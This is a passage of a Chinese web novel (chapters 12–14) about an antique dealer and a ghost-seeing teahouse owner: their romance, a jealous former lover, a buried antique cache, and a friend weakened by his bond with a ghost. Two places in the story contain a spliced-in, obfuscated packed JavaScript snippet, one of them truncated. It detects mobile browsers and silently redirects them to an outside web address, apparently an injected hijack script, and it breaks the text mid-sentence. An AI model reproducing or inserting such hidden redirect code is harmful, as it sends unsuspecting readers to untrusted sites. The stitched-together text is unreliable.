梓晴是鬼魂,不像活人要夜休昼起,因为仲敏的关系,他竟也有夜眠的习惯。 两个多月后,仲敏精心仿制的画作完成,果然深得吴镇风骨,神乎其神,仲敏亲自裱糊,还体贴地将宣纸与画轴做旧,宛如吴镇的《梅花图》在世,连老罗头都大为赞赏。 这确实是一件赝品,但不是为诓人钱财,而是为了满足朱馆主的一点念想。 仲敏获得一笔应得的报酬,这幅吴镇梅花图的仿品,被觐灵挂在寝室里,不时赏析。 随着两人关系日益亲密,卿甫时常出入觐灵家中,一起买菜,做饭,在宅中消磨清闲的时光。 偶尔卿甫会跟着觐灵到林老家做客,听琴,下棋,林老家时常举办琴会,渐渐,卿甫与觐灵的琴友们熟稔,相处和睦。 这些琴友出于爱好时而短暂地聚会在一起,聚会结束后,就返回各自的生活中,他们专注于自己的生活,不会议论别人的私事,也有较好的修养,见到难以理解的事物,能保持客观态度。 他们认识觐灵多年,以前从未见过觐灵身边有人,直到最近,他身旁总是出现一位仪表堂堂的男子——赵卿甫。 仔细观察的话,不难猜测到两人间的关系,比朋友更亲近一步,应该是恋人。 琴友们从不议论,但心知肚明。 赵卿甫就这么得到了觐灵友人的认可,不只是因为他会下棋,懂听曲,长得还不错,为人随和,更主要的是他与觐灵心意互通,方方面面都很契合。 这日,卿甫在觐灵家中,两人一起做饭,吃完饭后一人收拾,一人洗碗,配合得很好。 卿甫提垃圾出去倒掉,返回时,听见厨房里的觐灵在与人通话,卿甫停下脚步,没有靠近。 觐灵的朋友不常打他电话,茶馆的经理不会在晚饭时间打扰老板,大概,又是李则成。 前些天李则成就打来一通电话,似乎是为了联系老家临城的某人,跟觐灵要来那人的电话号码。 李则成在临城长大,他与觐灵熟识,两人的社交圈显然有一部分重合。 “不用,我自家开茶馆,什么茶没喝过。” “行,我让经理老张接待他。” “嗯,我在忙,我挂了。” 等通话结束,卿甫才走过去,走到觐灵身旁,问道:“李则成?” “嗯,他有位朋友到临城来,他让朋友捎一盒茶叶给我,等会要送到茶馆去。” “什么茶?” “他说是乌龙茶。” 两人不再交谈,卿甫离开厨房。 觐灵洗完碗筷,摘下围裙,找到庭中的卿甫,来到他身旁。 两人相伴,在庭院中散步,墙角红色的石榴花正开得鲜艳。 大约一周后,卿甫如平常那般将车停在觐灵家附近,前往朱宅拜访,远远看见门口站着一个身影。 身形高大,背影有些眼熟,正是李则成。 院门紧闭,觐灵显然不在家。 往常这时候——夜间,觐灵应该在家歇息,不知道他去了哪里,也许是茶馆那边有事。 卿甫手中提着一盒点心,是觐灵喜欢的糕点店里买的点心。 突然见到卿甫,李则成显得十分吃惊,将对方从头到脚扫视,目光落在对方手提的糕点盒子上。 “赵卿甫,你来找觐灵?” 卿甫平淡地点了下头,问道:“李老板离开临城没多久,怎么又回来了?” “我姥身体不好,我回来看她。“ 两人站在院门外,李则成背靠着院门站着,卿甫位于台阶下,相互之间有段距离。 卿甫拿出手机,还没按下号码,就听见李则成说:“拨不通,他手机可能没电了。” 居高临下,瞥了对方一眼,见对方还是拨通了电话,李则成投去嘲讽的目光。 通话一直无人接听 “你和觐灵认识多久了?” “我和他在校庆时相识。” 李则成似乎很惊诧,因为两人认识的时日实在短暂。 “我跟觐灵从小就认识,两家算得上是世交。”李则成望着路旁昏暗的路灯,像似在回忆往昔,眼神都变得柔和了。 “没有漫长时日的相伴,很难成为觐灵的朋友。” 听见卿甫的话,李则成用力点头,非常肯定,他说:“你倒是了解他。” 李则成似乎轻嗤了一声,快步走下台阶,路过卿甫身边时,他回过头来,那副表情带着挑衅的意味:“我要去茶馆找他,你留在这里继续等吧。” 冷冷目视他离去,卿甫不理会对方的挑衅。 “赵卿甫,身为过来人,我劝你一句,别浪费时间。你走不进觐灵的内心,他性情寡淡,你把握不住。” 嘴角勾起,卿甫回道:“李老板,你的经验不值一提。” 李则成似乎很惊讶,他回头看视对方,卿甫好整以暇,神情淡定。 很自信,他或许本身就是狂妄自大者,或许他已得到觐灵的青睐,李则成这么想。 街巷再次安静下来,静得只有远处的脚步声,卿甫背靠着院门,不知不觉间做出与李则成相同的等候姿势。 望着夜色浓浓的巷子发愣,忽然听见手机铃声,拿起一看,是觐灵回拨电话。 李则成显然没在茶馆见到觐灵,因为觐灵正在回家的路上。 “卿甫,我刚刚手机放在柜台上,忘记拿,我快到家了。” “我在你家门口。” 想了想,卿甫没将李则成刚刚也在觐灵家门口的事说出。 李则成和觐灵显然有过一段往事。 这之后,又过了两天,卿甫突然收到李则成的电话——上次李则成去店里购买陶俑,给过他名片。 “我要买件大玩意,你店里卖大鼎吗?” “卖,就是没你要的规格,也能帮你定制。” “要摆在门店玄关处,你帮我挑一件。” 李则成看来不只有工厂,还有门店,确实是位大老板。 “行,我让人发几张照片给你。” “我助手小林等会和你联系,你发给他就行。” 李则成的公司很大,必定很繁忙,事务缠身。 想到他守在觐灵家院门外的情景,卿甫意识到这人大概不会就此放弃。 李则成回临城的日子里,觐灵的作息发生改变,卿甫和觐灵碰面的次数减少,有时一两天也见不上一面。 这段时日,正好暗香茶馆在做局部做装修,觐灵似乎很忙。 卿甫店里的事情似乎也多起来,他开始待到晚上才下班。 这日夜晚到家,卿甫发现庭院里见不到祖父的身影,院子空空荡荡,这些天来与觐灵没有亲密接触,连能力都消失了。 这种能力的获得与失去,意味着他与觐灵的亲密与疏远。 坐在书房,面对电脑上打开的文档发愣,手机就放在右手边,卿甫有拨打觐灵电话的想法,又将这想法抹去。 觐灵从未主动联系他。 忽然,手机铃声响起,卿甫立即拿起一看,一看是小吴编辑。 卿甫抵达小吴所在的包厢,一看人不少,长桌正中摆放着一个大蛋糕。今日小吴生日,邀请朋友一起到KTV唱歌。 卿甫找个位置坐下,在座的大多认识,互相寒暄几句。 麦克风递到卿甫面前,小吴说:“你随便唱一首,照顾你老人家,点了首《当爱已成往事》给你唱。” 卿甫接过麦克风,留意到与他对唱的女子是陌生面孔,长得很文静,低着头,模样腼腆。 伤心情歌唱完,卿甫离开包间。 洗手间水龙头的水哗哗直流,卿甫抬起头,见镜子前的人模样颓然,这幅模样连自己都感到吃惊。 卿甫抬手看表,心想这时候,觐灵肯定已经回家,待在他宽敞舒适的宅院里。 和小吴道声歉,卿甫提 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这眼神让卿甫意识到自己这句话是在质疑与苛责,而他说出这句话,伤了对方的心。 “我自幼与则成相识,是从小一起长大的玩伴。” “觐灵。” 卿甫很愧疚,握住觐灵搁在桌上的手。 那只手在微微颤抖,手的主人情绪起伏很大。 是醋意使卿甫失去冷静。 这几天的回避,也是一种冷落与疏远。 “我与他交往过一段时间,后来分手了。” 这段往事,觐灵从不曾跟人提及,他意识到自己必须让卿甫知道。 觐灵缓缓陈述,言语平静:“七年前,则成在外地创业并结婚,我和他不再见面。” “他逢年过节,会发来祝福短信,偶尔也会打电话过来,我只当他是位熟人去对待。八年后,他回临城,带着女儿到我家拜访,请我帮他修琴。他还有家人住在临城,我听说他离异了。” 觐灵稍作停顿,将手从卿甫的手中抽离,幽幽地说:我多年前还有些怨恨他,后来连怨恨的感情也都不存在了。” 对这人再无丝毫情感。 “这一周,他来过我家两趟,我都不在。他电话联系过我,去茶馆找过我。” 卿甫的手拳起,他意识到自己做了混账事,他本该守在觐灵身边,在李则成骚扰觐灵时狠狠将他揍一顿。 “最终,连熟人也做不成。”觐灵的声音很冷,如秋水一般,不夹杂任何情感。 他的言语中有一份决绝。 “觐灵。” 卿甫再次握住对方的手,他感到心悸,觐灵是个爱憎分明的人,他对待感情既真挚,又决绝。 他终于抬起脸庞,看了卿甫一眼,那眼神很哀伤。 “父亲去世后,我下过决心,不再做出让他难堪的事情。” 觐灵看向自己被卿甫扣住的手,愧疚之情如潮水般涌来。 他愧对父亲。 听到这样的话,卿甫才知晓,觐灵对自己取向感到羞愧与痛苦。 这样的经历,卿甫没有过。 “我想你父亲也不希望你孤独一生,一直压抑自己的情感,过着苦闷的生活。” 卿甫将觐灵揽入怀,他的话,给予觐灵安抚。 他是一个人,有血有泪,他不能一直压制自己的情感,他也有渴望的东西,他也可以伸手去索要。 衣襟湿润,那是无声的泪水。 卿甫觉得自己的心都被揉碎了,紧紧抱着他。 过了许久,觐灵平静下来,他轻轻问:“你为什么坐在台阶上。” 那时他走在巷子里,见到橘黄灯光下,自家台阶上坐着一个身影,那身影很寂寥,很失落,走进一看才看清楚那人竟是赵卿甫。 他从未想过卿甫会有这般孤独无助的时候。 “一位朋友生日,邀我去KTV唱歌,我唱了首歌,忽然想见你,来时见院门紧闭,没有电话联系你,不知道你见到我是否会感到欣喜。” “我应该早些跟你说清楚,我与李则成的过往。” “觐灵,我应该主动问你。” 卿甫抚摸恋人的脸庞,眼中饱含深情,两张脸贴近,卿甫亲上对方的嘴唇,是个很温柔的吻。 这一夜,卿甫没有回家,而是在觐灵家入睡。 两人第一次睡在一起,合衣而眠,卿甫搂着觐灵,觐灵挨着他的肩膀,沉沉睡去,直至天明。 13. 第 13 章 仲敏很是鄙视卿甫,昨天还跟丧家之犬一样,今天一早过来,就见他眉开眼笑,唤伙计小张给顾客包一件犀角杯。 “联系上朱馆主了?”仲敏在一旁取笑。 卿甫不理会他。 “又好上了?” 仲敏看来是决心拿卿甫消遣,有“大仇得报”的爽利感。 前段时候,卿甫没少揶揄他和孟梓晴的关系。 “你没事做去喂鱼。”卿甫如是说。 两人合伙时间长了,已经培养出默契,关系和睦。 卿甫和仲敏的性格大不相同,两人合伙做生意,却能起到互补作用。 一点也不在乎遭仲敏取笑,卿甫一天打觐灵三通电话,躲在角落里,轻声细语,情话绵绵。 仲敏心想,要不要烧个手机给梓晴。 明日是端午,觐灵要包粽子,卿甫说他购买包粽子的材料,下午带过去。 觐灵家中有数坛黄酒,父亲在世时窖藏,今日正好拿一坛出来,在节日里饮用。 “端午那天,我爸不在,他去我姐家住几天,不知道梓晴能不能喝酒?” “他没喝过酒?” 仲敏摇摇头,似乎没听见卿甫说什么,自言自语;“要不喝洋酒。” 仲敏思考,端午的雄黄酒不能喝,都说这酒驱邪,说不定对梓晴有害,喝点洋酒绝对没问题。 购齐包粽子的材料,卿甫前去找觐灵,他刚一迈进朱家院子,便见到院中有两位古装男子,身着圆领,头戴乌纱,正在石桌前下棋。 他又开始看见这些阴魂,而且比以往看得清晰。 发现卿甫一直望向石桌,觐灵问:“你看得见吗?” 卿甫点头,觐灵的神色凝重。 自己一直叮嘱仲敏,劝他不要与孟梓晴有身体上的接触,百害无一益。自己与卿甫亲密关系,使卿甫能见到阴邪之物,不也是在害他吗。 卿甫不应该看到,他的体质特殊,本该比任何人都不易受阴邪之物的侵扰。 “是因为我的缘故。” 觐灵握住卿甫的手,未曾想自己对他的影响如此深刻。 “没什么不好,我能见你所见,是件好事。” 卿甫认为这是他与觐灵亲密关系的具象体现,正因为他亲近觐灵,才会看到以前看不到的东西。 “李则成没跟你说过吗?”卿甫想李则成与觐灵交往过,按说也会受到觐灵的影响。 觐灵摇头。 “他跟你说过,你身上有梅香吗?” “梅香?” 觐灵低头嗅自己的衣袖,他没闻到任何香味,回道:“我不用香水,他也从未提过。” “看来只有我能闻到。”卿甫莞尔。 看向那两名对弈的古人鬼魂,他们身影是如此真切,仿佛能触碰,卿甫说:“也许,我现在能看见茶馆的‘通道’。” 跃跃欲试,好奇心驱使。 还没有细细思索,如果他逐渐具备觐灵的能力,周边将被各种阴魂充斥,对他会是严峻考验。 觐灵默然,他知道自己与寻常人不同,但他没想过,自己的能力会危害最亲近的人。 卿甫张臂将觐灵抱住,给予他一个拥抱,笑着说:“我觉得这是好事,如今你能看到的,感受到的,我也能。” 觐灵没有笑意,他心中仍是忧虑。 两人进厨房,卿甫除了买来包粽子的材料外,也买了其他食材,晚饭在家吃。卿甫炒菜,觐灵煮汤,两人亲亲秘密,和和美美。 做好晚餐,卿甫将食物端上桌,觐灵从地窖里取出一坛黄酒。 酒色似琥珀,浓郁醇香,卿甫畅饮,大为赞赏,觐灵小口呷,喝不足两杯,脸上微微泛红。 “我还想你可能喝不习惯黄酒。” 觐灵很高兴。 “看是什么样的黄酒,这酒就酿得极好。” “以前藏了一窖,有二三十坛,我父亲去世后,就都送人了,我自己喝得不多。” “可惜了。”卿甫扼腕叹息。 可惜,那会他还没有结识觐灵。 时常有相见恨晚之感。 晚饭过后,卿甫和觐灵合力打开年久失修的车库车门,将卿甫的车开进车库。卿甫再次问觐灵为什么不学开车,觐灵说他学过驾驶,只是路上常有马路冤魂,别人看不见可以直接开过去,他则总会迟疑,十分无奈。 “能见到别人见不到的东西,会给生活造成很大的困扰。” 觐灵的言语惆怅。 “如果你那么在意,就把那条玛瑙念珠拿给我戴。”卿甫怎么可能不知道觐灵在担心什么。 这大概是最好的解决方法,但是卿甫认为完全没必要。 这夜,卿甫留在觐灵家过夜,他仍睡在觐灵的床上,觐灵找不到卿甫能穿的衣服给卿甫当睡衣,卿甫合衣躺下,说他下回买一套过来。 两人躺卧在一起,拥抱亲吻,仅此而已。 对于更进一步的关系,卿甫没做多想,心里也不抵制。 喜欢一个人到一定的程度,就会想与对方有更亲近,不过,卿甫很早就发现觐灵似乎不喜欢过度亲密的举动。 清晨,卿甫在门上悬挂菖蒲与艾草,觐灵在屋内熏白芷,接着两人进厨房,开始包扎粽子。 卿甫不会扎粽子,觐灵手把手教。 两人扎好十几个粽子,放锅中煮,焖煮半小时,闻到粽香的卿甫忍不住,进去揭锅盖。 觐灵笑说:“没那么快,再等等。” 两人坐在庭院闲谈,卿甫很喜欢觐灵家的院子,有花有草,有假山,有水池,池上种荷花,此时荷花开放,荷叶上还能看到几只青蛙在蹦达。 “我家院子也得好好打理一下。” 卿甫自从老往觐灵家中跑,他家那老宅子受到冷遇,没被悉心照料。 “我还没去过你家。” “还真是。” 卿甫这才意识到,他从没带觐灵回过家,既然谈到这个话题,不如:“我先将宅子收拾一下,过两天我们到那里过夜怎样?” 觐灵有些心动,又担心卿甫家人在,难免尴尬,没有立即回复。 “家里就我一人。” 卿甫知道觐灵的顾虑:“我没跟你说过我家人吧,我母亲早逝,父亲去年病故,我有一个妹妹,已经结婚。” 卿甫已经知道觐灵的家庭成员,觐灵很孤独,他也是亲缘浅薄,亲眷所剩无几。 隔日,卿甫带上六个粽子,拿去分给店里的人吃。 仲敏没过来,小张和黄姐在,都说很好吃。 卿甫自己也觉得今年的粽子比他往年吃过的更香,毕竟是他和觐灵亲手包的。 昨天端午,闭店过节,今日开店后,一直不见仲敏踪迹,卿甫没放在心上,心想他可能是节后疲倦。 赵家老宅位于城郊,宅子相当气派,溪水潺潺、树木葱郁,环境极好。 两人在家宅中闲休,黄昏时分到林间散步,太阳落山后才回来,一进院子,觐灵就看到院子里的老人,卿甫说是他爷爷。 觐灵恭恭敬敬向老人鞠躬。 很奇怪,卿甫爷爷的鬼魂一向看不见卿甫,但它显然看得见觐灵,它注视觐灵,以手指地面,似乎说了什么,它的身影渐渐模糊,消失在夜幕中。 “有一件东西,埋在院子里,就在你祖父站立的地方。” 觐灵往前走,走至先前鬼魂所站立的花丛处。 他的话,让卿甫大感意外。 “难怪我爷爷一直出现在那里。” “我想必是他心爱之物,是他的执念。”觐灵拨开花草,打量里边。 卿甫拿来挖土工具,将花丛铲去,掘土半米深,竟真得挖到一口大瓷缸,口部盖着一块石板。卿甫十分激动,以为是窖藏瓷器或金银财宝,翻开石板,才发现大缸的口部用蜡密封,挖开封蜡一看,里边都是古籍字画。 卿甫与觐灵目瞪口呆。 虽然做了重重的保护,但这些珍品的保存状态不佳。 “我听说爷爷罹患老人痴呆,看来因为他生前没有向后代交代这件事,死后才以这种方式提醒后人。” “人死为鬼,鬼若是生前有执念,往往会被执念困在人间。” “可惜了,要是早几十年掘出来,这些字画和书卷还不至于被腐朽成这样。”卿甫很痛心,古籍已经破烂,字画也是漫漶不清。 若是能在孩童时期就认识觐灵,与他总角宴宴该多好,相见恨晚。 卿甫打电话给仲敏,告诉仲敏自家老宅挖到好东西,有大彩缸有古籍有字画,让他赶紧过来瞧瞧。仲敏声音慵懒,说他得感冒倦乏得很,正在睡觉呢。 望向空空荡荡的院子,卿甫说:“爷爷以后不会再出现了。” 似有不舍。 觐灵在卿甫身边坐下,握住他的手:“他的心愿已了。” 院中灯光阑珊,茉莉花香四溢。 深夜,觐灵说天色不早,他该回去了,卿甫挽留觐灵,觐灵便就在卿甫家过夜。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14691860|156959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两人分别沐浴,觐灵更衣出来,穿卿甫的衣服,是短袖衫跟短裤。 衣裤穿觐灵身上都显得宽大,他以往衣着一向严实,连胳膊也不露,这幅模样很罕见。 卿甫上前一把将人抱住,觐灵问:“怎么突然抱我。” “第一次见过你穿短裤。” “嗯?所以你特意拿的?” 两人拥抱在一起,卿甫越抱越紧,觐灵力气不如对方,推不开,只得无奈说:“你再不放开我,我便回去了。” 卿甫用低哑的声音在觐灵耳边说了什么,觐灵别过脸去,由着卿甫胡闹。 咬紧牙关,身体颤抖,觐灵很不安。 卿甫不再有动作,揽着他温语:“睡吧,你不习惯,我们下回再继续。” 觐灵低语:“给我些时间。” 抚摸对方的脸庞,卿甫点头。 两人并躺在一起,卿甫不再有过于亲密的举止,只以手揽着怀中人,觐灵安然睡去。 清晨,卿甫起床,觐灵仍在睡,卿甫亲了他一口,起身做早餐。 有觐灵在,路过自家空荡、寂寥的宅院,卿甫都觉得这院子充满了人间烟火气息,这日子真惬意。 觐灵醒来,听到厨房有声音,知道是卿甫在作饭。 他走进厨房,想帮忙,卿甫说不用,菜已经炒好,米粥等会煮熟。 觐灵站在一旁,看着身系围裙,正在刷锅的卿甫,心里有种说不出的感觉。 这么多年,觐灵习惯孤独,以为自己早就适应这种生活,其实并不是。 “怎么在发呆?” 等觐灵回过神,卿甫已经解下围裙,盛好米粥。 两人将饭菜端上餐桌,坐在一起用餐。 院中鸟语花香,阳光明媚。 吃过早餐,卿甫先将觐灵送去茶馆,然后自己前往古玩店。 这一天,店里没什么生意,伙计小张与黄姐都在闲坐,两人提起他们的另一位老板罗仲敏,说这两天都不见罗总。 “他感冒了。”卿甫回答。 想起仲敏前天说自己感冒,这都两天了,还没好转吗? 看来不是普通的流感,卿甫决定电话去关心一下。 电话打拨通,竟是仲敏的姐姐接听,说仲敏今早昏倒在洗手间里,现在人在医院。 仲敏姐姐在电话里边说边哭,卿甫安抚她两句,急忙赶往医院。 抵达医院,见仲敏人已经清醒过来,但神色特别差,双目无神,嘴唇发黑,虚弱不堪地蜷缩在病床上。 看见卿甫过来,仲敏找借口说想吃水果,把姐姐支走。 卿甫拉椅子坐床前,问道:“你这是怎么回事?前两天人还好好的。” 仲敏有气无力,未先开口,已在叹气:“我应该听朱馆主的话。” “你……”卿甫气结。 仲敏长叹短嘘,卿甫见他这样,也不好说他什么,又看他正在输点滴,问:“医生有说是什么病吗?” 仲敏摇头:“我没生病。” 卿甫默然,没生病,难道他又做出什么荒唐事,譬如上次和孟梓晴一同出游,导致昏迷不醒。 “跟我说实话,你跟孟梓晴做了什么?”卿甫压低声音。 仲敏贴着对方耳边,小声说了一句话,刹那间,卿甫脸色都变了。 默默朝阳台走去,卿甫拿出手机,联系觐灵。 觐灵一听仲敏的情况,十分无奈,喟叹仲敏糊涂:“人鬼殊途,不能有体肤相亲的行径,否则对人对鬼都有害。你告诉罗先生,这种事再有下一次,将性命难保。” “对人的危害已经看见,他这是被吸了精气吧,对孟梓晴的危害是什么?” “他有可能会转化成恶灵。” “我劝仲敏将戏袍转移,找处地方安置,阻断他与孟梓晴的联系。” “卿甫,卿甫。” 仲敏在病房内虚弱地喊叫。 卿甫结束通话,返回病房,他将觐灵的话逐句告知仲敏。 仲敏悔恨地说:“对梓晴也有害是吗?我以为只对我有影响,对他没影响。”话未说完,已是黯然神伤。 “把你家的钥匙给我,你爸还在你姐家吧。我和觐灵过去看下孟梓晴。” 仲敏听到卿甫要带觐灵去看梓晴,急忙说:“我爸还在我姐家,钥匙在我裤子里。” 他挣扎着坐起来,想要拿放在一旁的西裤,卿甫已经先他一步找到钥匙,回头看眼病恹恹的仲敏,说道:“好好养病。” 14. 第 14 章 仲敏这家伙整天出状况,当卿甫偕同觐灵来到罗家,才想起这已经是觐灵第三次到来。 每次来,不是为救仲敏,就是为救孟梓晴。 老罗头不在家,家中寂静,卿甫和觐灵打开仲敏寝室的房门,寝室内窗户紧闭,窗帘厚重,还是暗黑颜色,一点光都渗不进来。 四周漆黑,卿甫摸到开关,拧亮灯光。橘黄的灯光一打开,卿甫便见床上躺了个人,侧身躺卧,看不清模样。 觐灵快步上前,察看床上的“人”,见昏迷不醒,形体单薄,赶紧执住对方的手,轻唤:“孟兄?” 孟梓晴缓缓回过头来,脸色灰白,唇上不见一点血色,他低低跟觐灵说着什么,卿甫站在一旁,没有靠近,听不见梓晴的话,也看不清梓晴的样貌。 “他在医院,不会有事。” 觐灵轻声细语,梓晴听了这话,随即又失去意识,觐灵急忙唤到:“孟兄。” 无奈梓晴再无回应。 卿甫走至床边,这回他看见床上的梓晴,虽然形象很模糊,像似要消散了,五官仍隐隐可见,长得很秀气。 “现在怎么办?” “卿甫,你去找下戏袍,我带他去‘通道’。” 觐灵说得毅然。 显然这应该是唯一的办法。 卿甫立即在屋中翻找,将戏袍找出来。 觐灵焦急回:“我们得快点!孟兄担心仲敏,贸然出户外,被阳光照伤,再等下去他会魂飞魄散!” 觐灵试图将孟梓晴唤醒,此时孟梓晴的意识已经涣散,觐灵跟他说了好几遍快依附回戏袍,他才明白意思。 卿甫看见床上人影不见,低头看手中的戏服,心知孟梓晴已经在里边。 “要避光。”觐灵目光落在窗帘上,窗帘合适。 卿甫用力揭下窗帘,用窗帘迅速将戏袍裹住。 两人急忙离开罗家,匆匆忙忙赶往暗香茶馆。 在车上,觐灵打电话给经理,让他以洗手间损坏为由,暂停使用。 经理十分可靠,办事迅速,卿甫和觐灵抵达茶馆,就见洗手间外拉了条幅,并贴上故障说明。 进入洗手间的入口被一面条幅挡住,并且里头用木板格挡,经理一人站在条幅旁等待。 经理问觐灵出了什么事? 觐灵说他要送样东西进“通道。” 经理不再多问。 这位经理,大半生都在茶馆工作,从觐灵的父亲经营茶馆时,他就是茶馆经历,他对茶馆有“通道”一清二楚,保守秘密多年。 迅速半开木板,卿甫和觐灵夸过横幅,进入里边,经理不慌不忙又将木板搬回来,挡住入口,他留下看守。 卿甫朝洗手间快步走去,还没靠近,他便见到原先是堵一墙的位置,竟隐隐能见到一条幽深的通道。 觐灵取出戏袍,轻唤孟梓晴,一连唤了数声,一缕薄弱的身影呈现,朦胧可见一个人形。 觐灵牵引孟梓晴,缓缓朝“通道”走去。 卿甫想跟上,“通道”忽然在觐灵身后快速消失,再不见踪迹。 经理告诉卿甫,馆主每次进入通道走能出来,不用担心。 为了避免雇员与客户起疑心,经理下楼决定尽快闭店,他留卿甫一人守护“通道”,踪迹则下楼去处理茶馆事务。 卿甫站在“通道”外面等候许久,不知不觉茶馆已经闭店,四周死寂,外面的天也黑了。 忽然瞥见觐灵的身影,他已经从“通道”出来,卿甫大喜,却见觐灵的身体摇晃,双腿发软,几乎要倒下。 卿甫将觐灵抱住,他发现觐灵嘴角有血丝,慌乱擦拭,焦急问哪里受伤了。觐灵偎依着卿甫,十分疲倦,不愿说话。 卿甫抱住觐灵,心中自责。 过了一会儿,觐灵终于感觉好一些,他喃喃说:“我知道孟兄对人间有执念的原因了。” 卿甫此时没心情听孟梓晴的事情,他扶觐灵下楼,搀着觐灵上车,离开茶馆。 将觐灵抱回自己家中,看他躺在床上,渐渐睡去。卿甫执住觐灵的手,他略显苍白的脸庞,心疼万分。 觐灵必是在“通道”里受到了伤害,卿甫知道他出入那里多次,以前从来就没有受过伤。 “通道”不是“鬼域,它通往一座古代茶馆,茶馆里都是喝茶的茶客,谁有能力能伤到觐灵。 觐灵一觉醒来,见卿甫一动不动执他的手,坐在床头,他绽出虚弱的微笑。卿甫激动地亲吻觐灵,这个吻,温柔得让人都快化掉。 “是因为我,使你受到伤害。”卿甫十分自责,紧紧揽住觐灵。 觐灵微笑,轻轻说:“是我自己想帮他们,帮梓晴,还有仲敏,只有我能帮他们不是吗?” 卿甫不作声,气恼仲敏不听觐灵的话,气恼这小子每次惹事都得觐灵来救他。 如果赵卿甫与觐灵不相识,觐灵就不会参与仲敏与孟梓晴的事,不会屡次受牵连。 “打电话给罗先生,告诉他孟兄的事情。” 觐灵叮嘱卿甫,他想罗仲敏肯定很着急,迫切想知道孟梓晴的情况。 联系仲敏后,卿甫告诉他孟梓晴险些魂飞魄散的事,只能将他送去一个适合的地方。 仲敏想细问具体过程,卿甫只说了一句:“日后再说,觐灵受伤了。” 看似柔弱,实则比任何人都坚韧。 卿甫端详觐灵苍白的脸庞,留意到他颦眉的动作,知晓他正在忍受痛楚。 抱着恋人,握着他的手,似乎给予安抚,希望能缓和伤痛。 “明日,你去请一位大夫,他以前帮我调理过身体。” “好。” “卿甫,我休息两日能自愈,不过你很担心吧,你睡吧。” 卿甫这才躺在觐灵的身边,揽着他睡去。 刘大夫是位老医生,已经不坐诊,平时不见生客,卿甫上刘家拜访,报上觐灵的名字,刘大夫才肯接待他。 听刘大夫说,觐灵从小就找他看病。 觐灵幼年在“通道”失踪一个月,出来后便高烧不退,吃了不少药,最后是被刘大夫治愈。 卿甫请刘大夫到朱宅,为觐灵看病,刘大夫把脉,诊断为虚脉,血虚引起。刘大夫写好方子,叮嘱觐灵,把其他事情都放下,这些天也不要再去茶馆,好好在家中静养。 刘大夫还说觐灵身体不好,是因为七情内伤致病,精气受损。 卿甫似懂非懂,他将刘大夫请到一旁,询问这种病能不能治好。刘大夫说治不好,觐灵自小就这样,古怪得很。 刘大夫开了药方,卿甫去取药,有好几帖药。 卿甫在院中煎药,不久药味四溢,觐灵从屋中出来,坐在廊道上,轻轻叹息:“这味道让人想起往昔。” 刘大夫可以说是看着觐灵长大,觐灵很尊敬他。 将觐灵扶回屋中,卿甫轻语:“大夫说了,要静养。” “你回店里去吧,我能照顾好自己。” “往后再不想听你说这句话。” 卿甫低下身,正为觐灵盖空调被,他听见这句话,眉头立即皱起。 张臂将照顾自己的人抱住,觐灵头贴在对方胸口,低语:“那便不说了。” 仲敏住了两天医院,身体逐渐好转,人也有了精神,他挂心孟梓晴,电话联系卿甫。 接到仲敏电话时,卿甫正坐在觐灵身旁,觐灵要求将手机递给他,他亲自跟仲敏说。 “罗先生,人鬼不能有体肤之亲,这种事对你身体的损害有多大,对孟兄的危害就有多大。我和卿甫赶到时,孟兄因为担心你,贸然离开居所,将自己暴露在烈日之下,被阳光炙伤,险些魂魄消散——不,他还在,但是我不清楚这样的伤害多久才能愈合。” 觐灵语气平和,他尽量不去刺激到仲敏,但有些事情他必须说清楚,仲敏不停劝告,导致严重的后果。 “我送孟兄去一个地方,他当时必须立即离开阳间,稍有迟疑,便就荡然无存。送他去鬼域,我怕他如此虚弱,会遭其他恶鬼吞噬,或是被鬼吏囚禁。我认为孟兄必须一直待那个地方——我送他去地方,孟兄受了很重的伤,那样的伤害恐怕无法愈合。罗先生,我一直想跟你说一句话,孟兄需要一个归宿,他不能再当游魂了,百年已经很漫长,何况后面还有更漫长的岁月在等候他,几乎所有的游魂都会无尽的绝望中滋生出怨恨,并最终转化为恶灵。” 觐灵毫无保留一一说出,虽然事实对此时正在住院的仲敏很残忍。 由始至终,仲敏都未发一言,只是默默听觐灵说。 通话结束,卿甫担虑仲敏受不了这样的打击,问:“这样好吗?” “卿甫,人生不过百年,过完一生,重入轮回,而像孟兄这样的游鬼却要永远无望的等候,这样的事情太残忍。” 人鬼不能相恋,正是因为一旦相恋就是一段苦情。 想到仲敏此刻肯定很心碎,而孟梓晴也已经出不了“通道”,觐灵感伤,自责不已:“一开始,我要是主张说将戏袍出售或转移,就不会有这些事,这是我的过失。。” 卿甫抱住觐灵,说道:“你别说傻话,当时谁也想不到,他们两人会相恋。” 是啊,这种事情,要说有个解释,那只能拿“缘份”去解释了。 “觐灵,你出入“通道”无数次,为什么这回你会在里头受伤,可是遭到了袭击?” 回想觐灵刚从“通道”出来的模样,卿甫就心疼,好在经过药物调理两天,觐灵的精神已经好上许多。 “ ‘通道’一向通往古代茶馆,但是那天,我携带孟兄进去,却没有抵达那间古代茶馆,而是去了另一个地方。” 觐灵提起这事,仍然感到吃惊。 他非常熟悉“通道”,从小到大进出无数趟,“通道”永远衔接着一间古代茶馆,唯有这一次,“通道”通往了另一处地方。 “你们去了哪里?” “我想,可能是去了孟兄记忆中的某个地方。” 正是因为孟梓晴进入 “通道”,所以这回“通道”衔接到一处陌生的地方。 “那地方开满桃花,有些人在扫墓,应该是清明时,但有一座墓长满了杂草,无人照料,也没有人来清理,更别谈前来上供品,烧纸钱。我看着凄凉,上前观看墓碑,这才发现是孟兄的墓。我静立在一旁,看着其他扫墓人离去,好一会,才见一位腿脚不便的老尼姑用篮子端着瓜果前来,在孟兄的墓前痛哭流涕,说每年都过来,以后恐怕再来不了,她就将下阴间陪伴兄长。 